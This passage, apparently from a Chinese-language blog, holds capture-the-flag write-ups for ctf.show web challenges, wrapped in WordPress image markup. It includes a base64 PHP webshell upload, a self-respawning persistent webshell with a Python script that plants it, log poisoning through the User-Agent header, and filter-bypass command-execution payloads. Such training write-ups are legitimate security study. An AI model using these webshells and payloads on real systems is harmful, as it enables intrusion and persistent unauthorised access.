loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-9-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1965\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/2-1-1024x497.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"497\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/2-1-1024x497.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1966\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web484<\/h2>\n\n\n\n<p>application\\api\\controller\\Uploadify.php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$src = file_get_contents('php:\/\/input');\/\/\u4f7f\u7528php\u4f2a\u534f\u8bae\u5199\u5165\n        if (preg_match(\"#^data:image\/(\\w+);base64,(.*)$#\", $src, $matches)) { \/\/matches\u88ab\u8d4b\u503c\u4e3a\u641c\u7d22\u51fa\u6765\u7684\u7ed3\u679c\n            $previewUrl = sprintf(\n                \"%s:\/\/%s%s\",\/\/\u7c7bc\u7684\u8f93\u51fa\u8bed\u8a00\n                isset($_SERVER&#91;'HTTPS']) &amp;&amp; $_SERVER&#91;'HTTPS'] != 'off' ? 'https' : 'http',\/\/\u8f93\u51fahttp\u6216\u8005https\n                $_SERVER&#91;'HTTP_HOST'],$_SERVER&#91;'REQUEST_URI']\/\/host\uff0c\u4e0d\u91cd\u8981\u7684\u4e1c\u897f\n            );\n            $previewUrl = str_replace(\"preview.php\", \"\", $previewUrl);\/\/\u5982\u679cpreviewUrl\u4e5f\u6709preview.php\u5219\u8fc7\u6ee4\n            $base64 = $matches&#91;2];\/\/\u83b7\u53d6base64\u6570\u636e\n            $type = $matches&#91;1];\/\/\u83b7\u53d6base64\u540e\u7f00\n            if ($type === 'jpeg') {\n                $type = 'jpg';\n            }\/\/\u6ca1\u4ec0\u4e48\u7528\u7684\u5224\u65ad\n        \n            $filename = md5($base64).\".$type\";\/\/\u5c06\u4f20\u5165\u7684base64\u90a3\u513f\u8fdb\u884cmd5\u52a0\u5bc6\uff0c\u518d\u6dfb\u4e0a\u6587\u4ef6\u7c7b\u578b\n            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;\/\/\u6587\u4ef6\u5b58\u653e\u8def\u5f84\u4f4dpreveiw\/\u6587\u4ef6\u540d\n        \n            if (file_exists($filePath)) {\/\/\u5b58\u5728\u5373\u8fd4\u56de\u5b58\u5728\u7684\u8def\u5f84\n                die('{\"jsonrpc\" : \"2.0\", \"result\" : \"'.$previewUrl.'preview\/'.$filename.'\", \"id\" : \"id\"}');\n            } else {\n                $data = base64_decode($base64);\/\/\u4e0d\u5b58\u5728\u5c31\u8fdb\u884cbase64\u89e3\u5bc6\n                file_put_contents($filePath, $data);\/\/\u5e76\u4e14\u5199\u5165\u6587\u4ef6\n                die('{\"jsonrpc\" : \"2.0\", \"result\" : \"'.$previewUrl.'preview\/'.$filename.'\", \"id\" : \"id\"}');\/\/\u8fd4\u56de\u6587\u4ef6\u8def\u5f84\n            }<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-10-1024x333.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"333\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-10-1024x333.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1969\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/index.php\/api\/Uploadify\/preview HTTP\/1.1\nHost: 10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/113.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 58\nOrigin: http:\/\/10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show\nConnection: close\nReferer: http:\/\/10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show\/index.php\/api\/Uploadify\/preview\nCookie: _ga=GA1.2.178448525.1671190440; PHPSESSID=qnm7dn426n8jql0ltpq0vcsi92\nUpgrade-Insecure-Requests: 1\n\ndata:image\/php;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7ID8+<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u8bbf\u95ee\u7ed9\u7684\u90a3\u4e2a\u5730\u5740\u5c31\u884c\u4e86\uff0c\u8fd9\u91cc\u76f4\u63a5\u89e3\u6790data\u534f\u8bae\u7136\u540e\u628a\u5185\u5bb9\u5199\u8fdbphp\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-11-1024x199.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"199\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-11-1024x199.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1970\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u7ec8\u6781\u8003\u6838<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web640<\/h2>\n\n\n\n<p>\u4e3b\u9875\u6e90\u7801\u91cc<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web641<\/h2>\n\n\n\n<p>\u8bf7\u6c42\u5934\u91cc<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u6743\u9650\u7ef4\u6301<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web670-676<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\n&lt;?php\n\n\/\/ \u9898\u76ee\u8bf4\u660e\uff1a\n\/\/ \u60f3\u529e\u6cd5\u7ef4\u6301\u6743\u9650\uff0c\u786e\u5b9a\u65e0\u8bef\u540e\u63d0\u4ea4check\uff0c\u901a\u8fc7check\u540e\uff0c\u624d\u4f1a\u751f\u6210flag\uff0c\u6b64\u524dflag\u4e0d\u5b58\u5728\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$a=$_GET&#91;'action'];\n\nswitch($a){\n    case 'cmd':\n        eval($_POST&#91;'cmd']);\n        break;\n    case 'check':\n        file_get_contents(\"http:\/\/checker\/api\/check\");\n        break;\n    default:\n        die('params not validate');\n}\n<\/code><\/pre>\n\n\n\n<p>\u6284\u7684\u7fbd\u5e08\u5085\u535a\u5ba2\uff0c\u7528\u5185\u5b58\u9a6c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n    ignore_user_abort(true);\n    set_time_limit(0);\n    unlink(__FILE__);\n    $file = 'shell.php';\n    $code = '&lt;?php @eval($_POST&#91;1]);?&gt;';\n    while (1) {\n        file_put_contents($file, $code);\n        usleep(5000);\n    }\n?&gt;\n \n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nurl=\"http:\/\/6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show\/\"\ndata1={'cmd':\"file_put_contents('a.php',\\\"&lt;?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\\\$file = 'shell.php';\\\\$code = '&lt;?php @eval(\\\\$_POST&#91;1]);?&gt;';while (1) {file_put_contents(\\\\$file, \\\\$code);usleep(5000);}?&gt;\\\");\"}\nr=requests.post(url+'?action=cmd',data=data1)\ntry:\n\trequests.get(url+'a.php',timeout=(1,1))\nexcept:\n\trequests.get(url+'?action=check')\n\tr=requests.post(url+'shell.php',data={'1':'system(\"cat \/f*\");'})\n\tprint(r.text)\n<\/code><\/pre>\n\n\n\n<p>\u6ce8\u610f\uff0c\u7b2c\u4e00\u9898flag\u7684\u4f4d\u7f6e\u5728url\/flag_ss.txt\uff0c\u76f4\u63a5cat\u6839\u76ee\u5f55cat\u4e0d\u5230<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web677-678<\/h2>\n\n\n\n<p>\u8fd9\u4e24\u9053\u9898\u6211\u4eec\u73b0\u5728\u51fa\u4e86tmp\u76ee\u5f55\u6ca1\u6709\u5199\u5165\u6743\u9650\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7while\u5faa\u73af\u6301\u7eed\u7684\u6253\u5f00flag<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd=system('while true;do cat \/tmp\/f*;done');<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u5927\u8d5b\u539f\u9898<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web680<\/h2>\n\n\n\n<p>\u4e3b\u9875\u53ea\u6709\u4e00\u53e5post code to run!POST\u4e86\u4e00\u4e2aphpinfo();\u53d1\u73b0\u5927\u91cfdisable_function:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir<\/code><\/pre>\n\n\n\n<p>\u5e38\u89c1\u547d\u4ee4\u6267\u884c\u6ca1\u5565\u620f\u4e86\uff0c\u4f46\u8fd8\u662f\u6709\u529e\u6cd5\u8bfb\u6587\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>code=print_r(scandir('.\/'));<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-69-1024x718.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"718\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-69-1024x718.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-874\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>code=highlight_file(\"secret_you_never_know\");<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-70-1024x771.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"771\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-70-1024x771.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-875\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e8b\u5b9e\u4e0a\u77e5\u9053\u4e86\u8def\u5f84\u76f4\u63a5\u8bbf\u95ee\u4e5f\u80fd\u62ff\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-71-1024x364.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"364\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-71-1024x364.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-877\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web778<\/h2>\n\n\n\n<p>\u6709\u70b9\u62bd\u8c61\u3002<\/p>\n\n\n\n<p>TP\u91cc\u53ef\u4ee5\u7528xxx.com\/info\/index.php?g=Home&amp;m=Category&amp;a=index\u8fd9\u79cd\u65b9\u5f0f\u8bbf\u95ee\u4e8c\u7ea7\u76ee\u5f55\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url\/index.php?g=index&amp;m=home&amp;a=index&amp;doge&#91;_filename]=\/var\/log\/nginx\/access.log<\/code><\/pre>\n\n\n\n<p>\u8bbf\u95ee\u5230\u65e5\u5fd7\uff0c\u7136\u540euser-agent\u65e5\u5fd7\u5199\u9a6c\u5373\u53ef\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-72-1024x400.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"400\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-72-1024x400.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-879\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8681\u5251\u8fde\u65e5\u5fd7<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-73.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"824\" height=\"596\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-73.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-880\"  sizes=\"auto, (max-width: 824px) 100vw, 824px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-74.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"783\" height=\"305\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-74.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-881\"  sizes=\"auto, (max-width: 783px) 100vw, 783px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web779<\/h2>\n\n\n\n<p>\u4e3b\u9875\u5c31\u662f\u4e2a\u63d0\u4ea4\u6846\uff0c\u95ee\u4f60\u8981\u6700\u559c\u6b22\u7684\u5b9d\u53ef\u68a6\u662f\u5565\uff0c\u76f4\u63a5f12\u53ef\u4ee5\u770b\u5230hint:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!-- CTFSHOW hint: \n              \/\/ \/flag\n              function DefenderBonus($Pokemon){\n                  if(preg_match(\"\/'| |_|\\\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\\\\\|p|h|u|v|\\\\+|\\\\^|\\`|\\~|\\||\\\"|\\&lt;|\\&gt;|\\=|{|}|\\!|\\&amp;|\\*|\\?|\\(|\\)\/i\",$Pokemon)){\n                      die('catch broken Pokemon! mew-_-two');\n                  }\n                  else{\n                      return $Pokemon;\n                  }\n\n              }\n\n              function ghostpokemon($Pokemon){\n                  if(is_array($Pokemon)){\n                      foreach ($Pokemon as $key =&gt; $pks) {\n                          $Pokemon&#91;$key] = DefenderBonus($pks);\n                      }\n                  }\n                  else{\n                      $Pokemon = DefenderBonus($Pokemon);\n                  }\n              }\n\n              switch($_POST&#91;'myfavorite'] ?? \"\"){\n                  case 'picacu!':\n                      echo md5('picacu!').md5($_SERVER&#91;'REMOTE_ADDR']);\n                      break;\n                  case 'squirtle':\n                      echo md5('jienijieni!').md5($_SERVER&#91;'REMOTE_ADDR']);\n                      break;\n                  case 'mewtwo':\n                      $dream = $_POST&#91;\"dream\"] ?? \"\";\n                      if(strlen($dream)&gt;=20){\n                          die(\"So Big Pokenmon!\");\n                      }\n                      ghostpokemon($dream);\n                      echo shell_exec($dream);\n              }\n        --&gt;<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\uff0c\u5c31\u662f\u7528\u90a3\u4e2amewtwo\u7136\u540ebypass\u6267\u884c\uff0c\u4f46\u8fd9\u91cc\u57fa\u672c\u4e0a\u80fd\u8fc7\u6ee4\u7684\u90fd\u8fc7\u6ee4\u5b8c\u4e86\uff0c\u5f88\u96be\u6267\u884c\u547d\u4ee4\u3002\u4f46\u901a\u8fc7\u767e\u5ea6\uff0c\u8fd8\u662f\u53d1\u73b0\u539f\u6765\u8fd8\u6709\u4e2aod\u6ca1\u7981\uff0c\u800cod\u6b63\u597d\u80fd\u6267\u884c\u547d\u4ee4\u3002<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>od\uff08Octal Dump\uff09\u4ee5\u516b\u8fdb\u5236\u6216\u5176\u4ed6\u683c\u5f0f\u8f6c\u50a8\u6587\u4ef6\u3002<\/p>\n<cite>od \u7528\u4e8e\u5c06\u6307\u5b9a\u6587\u4ef6\u5185\u5bb9\u4ee5\u516b\u8fdb\u5236\u3001\u5341\u8fdb\u5236\u3001\u5341\u516d\u8fdb\u5236\u3001\u6d6e\u70b9\u683c\u5f0f\u6216 ASCII \u7f16\u7801\u5b57\u7b26\u65b9\u5f0f\u663e\u793a\uff0c\u901a\u5e38\u7528\u4e8e\u663e\u793a\u6216\u67e5\u770b\u6587\u4ef6\u4e2d\u4e0d\u80fd\u76f4\u63a5\u663e\u793a\u5728\u7ec8\u7aef\u7684\u5b57\u7b26\u3002od \u9ed8\u8ba4\u663e\u793a\u65b9\u5f0f\u662f\u516b\u8fdb\u5236<\/cite><\/blockquote>\n\n\n\n<p>\u7528od -c\u5c31\u53ef\u4ee5\u8f93\u51fa\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-75.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"607\" height=\"200\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-75.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-883\"  sizes=\"auto, (max-width: 607px) 100vw, 607px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u4e3aflag\u8fd9\u4e2a\u5b57\u7b26\u4e32\u4ee5\u53ca\u5f88\u591a\u5b57\u6bcd\u90fd\u88ab\u7981\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u6b63\u5219\u5339\u914d\u7684\u5f62\u5f0f\u6784\u9020\u88abban\u7684\u5b57\u6bcd\u7136\u540e\u6267\u884c\u547d\u4ee4\u5373\u53ef\uff0c\u770b\u4e86\u534a\u5929ascii\u8868\uff0c[9-q]\u8fd9\u4e2a\u6b63\u5219\u7b26\u5408\u8981\u6c42\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-78.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"169\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-78.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-887\"  sizes=\"auto, (max-width: 643px) 100vw, 643px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u7528\u7f16\u7801\u7ed5\u4e00\u4e0b\u7a7a\u683c\u7684\u8fc7\u6ee4\u5373\u53ef\uff0c\u6700\u540epayload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>myfavorite=mewtwo&amp;dream=od%09-c%09\/f&#91;9-q]&#91;9-q]g<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-77-1024x277.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"277\" 